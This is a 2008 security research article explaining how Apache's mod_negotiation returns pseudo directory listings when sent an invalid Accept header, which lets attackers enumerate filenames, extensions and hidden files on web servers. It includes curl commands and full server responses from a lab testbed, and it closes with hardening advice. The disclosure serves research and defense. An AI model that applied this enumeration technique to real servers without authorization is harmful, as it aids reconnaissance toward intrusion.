As the first of a set of three this paper explains in detail how to abuse some functionalities exposed by mod_negotiation, an Apache module enable by default on many (most?) vanilla setups. Reference platform is a fresh installed Debian Etch system. The "Accept:" HTTP request header allows to optimize the number of requests to discover (bruteforce) filenames and extensions in absence of directory listing. Details follow, a good reading for an hot summer!
mod_negotiation: directory listing, filename bruteforcing Francesco `ascii` Ongaro - http://www_ush_it/ - (c) 2008 Apache is a feature rich web server often shipped by default with many modules that add various functionalities that can possibly be abused by an attacker. In this article two techniques that apply to mod_negotiation will be discussed and exposed: directory listing and filename bruteforcing. Most of the information you'll read emerged in a 3-years old discussion with Stefano `wisec` Di Paola (most misspelled name in the security industry) that I happily credit as usual [*1]. For the impatients the trick is to request the first part of the file (the one before the dot of the extension) with an invalid Accept header: mod_negotiation will fail the negotiation with the browser. curl -kis "http://www.example.com/hello" -H "Accept: only/love" Remote webserver with mod_negotiation enabled will reply with a
406 Not Acceptable error response containing a pseudo directory listing as later described in detail. To give context and consistency to the examples provided the following if the testbed directory, webserver was Apache/2.2.3 under Debian Etch. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- test:/www-data/mod_negotiation# ls -la total 16 drwx------ 4 www-data www-data 4096 2008-05-11 23:36 . drwx------ 9 www-data www-data 4096 2008-05-11 23:34 .. drwx------ 2 www-data www-data 4096 2008-05-11 23:35 admin -rw------- 1 www-data www-data 0 2008-05-11 23:34 admin.jsp -rw------- 1 www-data www-data 0 2008-05-11 23:34 admin.php -rw------- 1 www-data www-data 0 2008-05-11 23:54 arch.gz -rw------- 1 www-data www-data 0 2008-05-11 23:54 arch.tar -rw------- 1 www-data www-data 0 2008-05-11 23:54 arch.tar.gz -rw------- 1 www-data www-data 0 2008-05-11 23:54 arch.tgz -rw------- 1 www-data www-data 0 2008-05-11 23:35 .bash_history -rw------- 1 www-data www-data 0 2008-05-11 23:35 .bashrd -rw------- 1 www-data www-data 0 2008-05-11 23:36 example.asp -rw------- 1 www-data www-data 0 2008-05-11 23:36 example.gif -rw------- 1 www-data www-data 0 2008-05-11 23:36 example.jpeg -rw------- 1 www-data www-data 0 2008-05-11 23:36 example.jpg -rw------- 1 www-data www-data 0 2008-05-11 23:36 example.jsp -rw------- 1 www-data www-data 0 2008-05-11 23:36 example.php -rw------- 1 www-data www-data 0 2008-05-11 23:36 example.pl -rw------- 1 www-data www-data 0 2008-05-11 23:35 .htaccess -rw------- 1 www-data www-data 0 2008-05-11 23:34 .htpasswd -rw------- 1 www-data www-data 0 2008-05-11 23:38 index.html -rw------- 1 www-data www-data 0 2008-05-11 23:34 news.asp drwx------ 2 www-data www-data 4096 2008-05-11 23:35 .private -rw------- 1 www-data www-data 0 2008-05-11 23:35 .secret -rw------- 1 www-data www-data 0 2008-05-11 23:47 some.thing -rw------- 1 www-data www-data 0 2008-05-11 23:47 somet.hing --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- A rich testbed to explain in detail all the caveats of this technique. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- # curl -kis "http://a2/mod_negotiation/example" -H "Accept: only/love" HTTP/1.1 406 Not Acceptable Date: Mon, 12 May 2008 06:40:48 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch10 Alternates: {"example.gif" 1 {type image/gif} {length 0}}, {"example.jp eg" 1 {type image/jpeg} {length 0}}, {"example.jpg" 1 {type image/jpeg} {length 0}}, {"example.php" 1 {type application/x-httpd-php} {length 0 }}, {"example.pl" 1 {type text/x-perl} {length 0}} Vary: negotiate,accept TCN: list Content-Length: 751 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>406 Not Acceptable</title> </head><body> <h1>Not Acceptable</h1> <p>An appropriate representation of the requested resource /hack-mod_ne gotiation_testbed/example could not be found on this server.</p> Available variants: <ul> <li><a href="example.gif">example.gif</a> , type image/gif</li> <li><a href="example.jpeg">example.jpeg</a> , type image/jpeg</li> <li><a href="example.jpg">example.jpg</a> , type image/jpeg</li> <li><a href="example.php">example.php</a> , type application/x-httpd-ph p</li> <li><a href="example.pl">example.pl</a> , type text/x-perl</li> </ul> <hr> <address>Apache/2.2.3 (Debian) PHP/5.2.0-8+etch10 Server at a2 Port 1</ address> </body></html> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As clearly visible the result is similiar to directory listing, with the limitation that the filename must be guessed. If this operation is succesfully accomplished the web server will give the extension and the corrispective mapped mime-type. Unluckily any request for "admin" will lead to a 301 Moved Permanently cause it's a directory and the server tries to normalize the request pointing the browser with an url with the trailing slash. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- # curl -kis "http://a2/mod_negotiation/admin" -H "Accept: only/love"
HTTP/1.1 301 Moved Permanently Date: Mon, 12 May 2008 07:03:16 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch10 Location: http://a2/mod_negotiation/admin/ Content-Length: 360 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://a2/mod_negotiation/admin/">he re</a>.</p> <hr> <address>Apache/2.2.3 (Debian) PHP/5.2.0-8+etch10 Server at a2 Port 1</ address> </body></html> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The other main limitation is that only files with known (and mapped) extensions will be listed. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- # curl -kis "http://a2/mod_negotiation/some" -H "Accept: only/love" HTTP/1.1 404 Not Found Date: Mon, 12 May 2008 07:03:39 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch10 Content-Length: 326 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /mod_negotiation/some was not found on this server .</p> <hr> <address>Apache/2.2.3 (Debian) PHP/5.2.0-8+etch10 Server at a2 Port 1</ address> </body></html> # curl -kis "http://a2/mod_negotiation/some.thing" -H "Accept: a/b" HTTP/1.1 200 OK Date: Mon, 12 May 2008 07:03:44 GMT Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch10 Last-Modified: Mon, 12 May 2008 06:47:16 GMT ETag: "8a5a4-0-eb12e500" Accept-Ranges: bytes Content-Length: 0 Content-Type: text/plain; charset=UTF-8 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Said this mod_negotioation will help you greatly when doing deep web resources discovery/enumeration, reducing the amout of requests that would normally occur to discover extensions (normally a multiplier for the number of extensions under testing or the complete domain of possible combinations). This fact can be deeply exemplified by the process that is normally executed when bruteforcing filenames/web resurces): - generate a list of base names (could be a bruteforce to a specified len or dictionary based to save time and resources) - generate a list of interesting extensions (the most frequent/interesting extensions) - regenerate the initial list for every extension and test it for every directory This means that 1000 basenames become 10'000 filenames for X mapped directories. It's clear that while the first and last point can hardly be optimized, the second is almost completely solved by the presence of mod_negotiation. If all the 10 extensions are mapped on the remote targget an exhaustive bruteforce will take 10 times less requests, else it will be partial and could be perfectioned by standard bruteforcing. If an extension is mapped on not can be verified with the presence of a file of the right type in a known position (sometimes google is your friend). If 8 out 10 extensions are mapped the bruteforce will take 1000*X+ 1000*2*X requests but will be accurate in respect of the tested domain. mod_negotiation is not able to enumerate files composed by the only extension (like .htaccess for example) but can discover hidden files (files starting with a dot) that are not displayed in directory listing responses. These files need a mapped extension as usual. Technically Accept is not the only request header able to influence the response but is the only able to make mod_negotiation behaviour in a useful manner. Accept Accept-Encoding Accept-Language Accept-Charset Extensions are mapped through the standard MIME mechanism occasionally extended or overriden by specific AddType directives. # grep -i AddType /etc/apache2/ -R ./apache2.conf: #AddType application/x-gzip .tgz ./apache2.conf: AddType application/x-compress .Z ./apache2.conf: AddType application/x-gzip .gz .tgz ./apache2.conf: AddType text/html .shtml ./mods/ssl.conf:AddType application/x-x509-ca-cert .crt ./mods/ssl.conf:AddType application/x-pkcs7-crl .crl ./mods/php5.conf: AddType application/x-httpd-php .php .phtml .php3 ./mods/php5.conf: AddType application/x-httpd-php-source .phps ./mods/php4.conf: AddType application/x-httpd-php .php .phtml .php3 ./mods/php4.conf: AddType application/x-httpd-php-source .phps MIME can be implemented by mod_mime witch loads it's configuration from the following files. /etc/mime.types /etc/apache2/mime.types /etc/apache/mime.types Extension mapped on this debian stable (etch) testbed are 328 and includes: ez atom atomcat atomsrv cap pcap cu tsp spl hta jar ser class hqx cpt nb mdb doc dot bin oda ogg pdf key pgp prf ps ai eps rar rdf rss rtf smi smil wpd wp5 xhtml xht xml xsl zip cdy kml kmz xul xls xlb xlt cat stl ppt pps odc odb odf odg otg odi odp otp ods ots odt odm ott oth cod mmf sdc sds sda sdd sdf sdw sgl sxc stc sxd std sxi sti sxm sxw sxg stw sis vsd wbxml wmlc wmlsc wk 7z abw dmg bcpio torrent cab cbr cbz cdf vcd pgn cpio csh deb udeb dcr dir dxr dms wad dvi rhtml flac pfa pfb gsf pcf pcf.Z mm spl gnumeric sgf gcf gtar tgz taz hdf phtml pht php phps php3 php3p php4 ica ins isp iii iso jnlp js jmz chrt kil skp skd skt skm kpr kpt ksp kwd kwt latex lha lyx lzh lzx frm maker frame fm fb book fbdoc mif wmd wmz com exe bat dll msi nc pac nwc o oza p7r crl pyc pyo qtl rpm sh shar swf swfl sit sitx sv4cpio sv4crc tar tcl gf pk texinfo texi ~ % bak old sik t tr roff man me ms ustar src wz crt xcf fig xpi cbin cascii ctab ctx smi emb embl spc inp gam gamin fch fchk gau gjc gjf istr ist mmd mmod tgf gpt mop mopcrt mpc dat zmt moo prt ent pdb ent sw xtel tiff tif ras pat cdt cpt art psd pnm pbm pgm ppm xbm ics icz css csv 323 html htm shtml uls mml asc txt text pot rtx sct wsc tm ts tsv jad wml wmls bib boo h++ hpp hxx hh c++ cpp cxx cc h htc csh c d diff patch hs java lhs moc p pas gcd pl pm py etx sh tcl tk tex ltx sty cls vcs vcf qt mov ice. This means that the bruteforce gain multiplier on this system is 328. Strict friends of mod_negotdiation are mod_mime and the less known mod_mime_magic (witch actually accesses the file and tries to identify it with "magic numbers") so if your interest on these issues is morbid examine the documentation of these two modules too. The mantra is as always put in production the smallest set of functionalities required by your mission, especially avoid everything you don't know very well in most of its caveats. More articles will follow about other techniques made possible by the presence of mod_negotiation. Just be patient. [*1] Multiviews Apache, Accept Requests and free listing http://www.wisec.it/sectou.php?id=4698ebdc59d15